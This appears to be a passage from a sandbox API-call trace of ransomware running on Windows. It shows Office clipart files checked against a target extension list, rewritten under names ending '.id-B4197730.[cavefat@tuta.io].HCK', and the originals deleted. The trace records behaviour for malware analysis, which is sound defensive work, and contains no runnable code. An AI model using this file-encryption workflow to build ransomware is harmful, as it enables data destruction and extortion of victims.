-1 [0164.812] lstrlenW (lpString=".ppt") returned 4 [0164.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.812] lstrlenW (lpString=".zip") returned 4 [0164.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.812] lstrlenW (lpString=".rar") returned 4 [0164.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.812] lstrlenW (lpString=".bz2") returned 4 [0164.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.812] lstrlenW (lpString=".7z") returned 3 [0164.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.812] lstrlenW (lpString=".dbf") returned 4 [0164.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.812] lstrlenW (lpString=".1cd") returned 4 [0164.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0164.812] lstrlenW (lpString=".jpg") returned 4 [0164.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.812] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.812] lstrlenW (lpString="J0099184.WMF") returned 12 [0164.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.812] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4118) returned 1 [0164.812] CloseHandle (hObject=0x2f4) returned 1 [0164.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0164.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.813] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.813] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.813] GetLastError () returned 0x0 [0164.813] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1016, lpOverlapped=0x0) returned 1 [0164.814] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1020, lpOverlapped=0x0) returned 1 [0164.815] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.815] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.815] SetEndOfFile (hFile=0x380) returned 1 [0164.815] CloseHandle (hObject=0x380) returned 1 [0164.816] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.816] SetEndOfFile (hFile=0x2f4) returned 1 [0164.816] CloseHandle (hObject=0x2f4) returned 1 [0164.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.817] lstrlenW (lpString=".doc") returned 4 [0164.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString=".docx") returned 5 [0164.817] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0164.817] lstrlenW (lpString=".pdf") returned 4 [0164.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString=".xls") returned 4 [0164.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.817] lstrlenW (lpString=".xlsx") returned 5 [0164.817] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0164.817] lstrlenW (lpString=".ppt") returned 4 [0164.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.817] lstrlenW (lpString=".zip") returned 4 [0164.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.817] lstrlenW (lpString=".rar") returned 4 [0164.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString=".bz2") returned 4 [0164.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString=".7z") returned 3 [0164.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.817] lstrlenW (lpString=".dbf") returned 4 [0164.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.817] lstrlenW (lpString=".1cd") returned 4 [0164.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.817] lstrlenW (lpString=".jpg") returned 4 [0164.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.818] lstrlenW (lpString=".doc") returned 4 [0164.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString=".docx") returned 5 [0164.818] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0164.818] lstrlenW (lpString=".pdf") returned 4 [0164.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString=".xls") returned 4 [0164.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.818] lstrlenW (lpString=".xlsx") returned 5 [0164.818] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0164.818] lstrlenW (lpString=".ppt") returned 4 [0164.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.818] lstrlenW (lpString=".zip") returned 4 [0164.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.818] lstrlenW (lpString=".rar") returned 4 [0164.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString=".bz2") returned 4 [0164.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString=".7z") returned 3 [0164.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.818] lstrlenW (lpString=".dbf") returned 4 [0164.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.818] lstrlenW (lpString=".1cd") returned 4 [0164.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0164.818] lstrlenW (lpString=".jpg") returned 4 [0164.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.818] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.818] lstrlenW (lpString="J0099185.JPG") returned 12 [0164.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.819] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3282) returned 1 [0164.819] CloseHandle (hObject=0x2f4) returned 1 [0164.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0164.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.819] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.820] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.820] GetLastError () returned 0x0 [0164.820] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0164.821] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xce0, lpOverlapped=0x0) returned 1 [0164.822] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.822] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.822] SetEndOfFile (hFile=0x380) returned 1 [0164.822] CloseHandle (hObject=0x380) returned 1 [0164.822] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.822] SetEndOfFile (hFile=0x2f4) returned 1 [0164.823] CloseHandle (hObject=0x2f4) returned 1 [0164.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.823] lstrlenW (lpString=".doc") returned 4 [0164.823] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.823] lstrlenW (lpString=".docx") returned 5 [0164.823] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0164.823] lstrlenW (lpString=".pdf") returned 4 [0164.824] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".xls") returned 4 [0164.824] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".xlsx") returned 5 [0164.824] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0164.824] lstrlenW (lpString=".ppt") returned 4 [0164.824] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString=".zip") returned 4 [0164.824] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".rar") returned 4 [0164.824] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".bz2") returned 4 [0164.824] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.824] lstrlenW (lpString=".7z") returned 3 [0164.824] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString=".dbf") returned 4 [0164.824] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString=".1cd") returned 4 [0164.824] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString=".jpg") returned 4 [0164.824] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString=".doc") returned 4 [0164.824] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.824] lstrlenW (lpString=".docx") returned 5 [0164.824] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0164.824] lstrlenW (lpString=".pdf") returned 4 [0164.824] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".xls") returned 4 [0164.824] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".xlsx") returned 5 [0164.824] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0164.824] lstrlenW (lpString=".ppt") returned 4 [0164.824] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.824] lstrlenW (lpString=".zip") returned 4 [0164.824] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".rar") returned 4 [0164.824] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.824] lstrlenW (lpString=".bz2") returned 4 [0164.824] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.825] lstrlenW (lpString=".7z") returned 3 [0164.825] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.825] lstrlenW (lpString=".dbf") returned 4 [0164.825] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.825] lstrlenW (lpString=".1cd") returned 4 [0164.825] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0164.825] lstrlenW (lpString=".jpg") returned 4 [0164.825] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.825] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0164.825] lstrlenW (lpString="J0099186.JPG") returned 12 [0164.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.825] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16738) returned 1 [0164.825] CloseHandle (hObject=0x2f4) returned 1 [0164.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0164.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0164.825] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.826] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.826] GetLastError () returned 0x0 [0164.826] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4162, lpOverlapped=0x0) returned 1 [0164.828] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4170, lpOverlapped=0x0) returned 1 [0164.828] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.828] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.828] SetEndOfFile (hFile=0x380) returned 1 [0164.829] CloseHandle (hObject=0x380) returned 1 [0164.829] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.829] SetEndOfFile (hFile=0x2f4) returned 1 [0164.829] CloseHandle (hObject=0x2f4) returned 1 [0164.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0164.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.830] lstrlenW (lpString=".doc") returned 4 [0164.830] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.830] lstrlenW (lpString=".docx") returned 5 [0164.830] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0164.830] lstrlenW (lpString=".pdf") returned 4 [0164.830] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.830] lstrlenW (lpString=".xls") returned 4 [0164.830] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.830] lstrlenW (lpString=".xlsx") returned 5 [0164.830] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0164.830] lstrlenW (lpString=".ppt") returned 4 [0164.830] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.830] lstrlenW (lpString=".zip") returned 4 [0164.830] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.830] lstrlenW (lpString=".rar") returned 4 [0164.830] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.830] lstrlenW (lpString=".bz2") returned 4 [0164.830] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.830] lstrlenW (lpString=".7z") returned 3 [0164.830] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.830] lstrlenW (lpString=".dbf") returned 4 [0164.830] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.830] lstrlenW (lpString=".1cd") returned 4 [0164.831] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString=".jpg") returned 4 [0164.831] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString=".doc") returned 4 [0164.831] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.831] lstrlenW (lpString=".docx") returned 5 [0164.831] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0164.831] lstrlenW (lpString=".pdf") returned 4 [0164.831] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.831] lstrlenW (lpString=".xls") returned 4 [0164.831] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.831] lstrlenW (lpString=".xlsx") returned 5 [0164.831] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0164.831] lstrlenW (lpString=".ppt") returned 4 [0164.831] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0164.831] lstrlenW (lpString=".zip") returned 4 [0164.831] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.831] lstrlenW (lpString=".rar") returned 4 [0164.831] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.831] lstrlenW (lpString=".bz2") returned 4 [0164.831] lstrcmpiW (lpString1=".bz2", 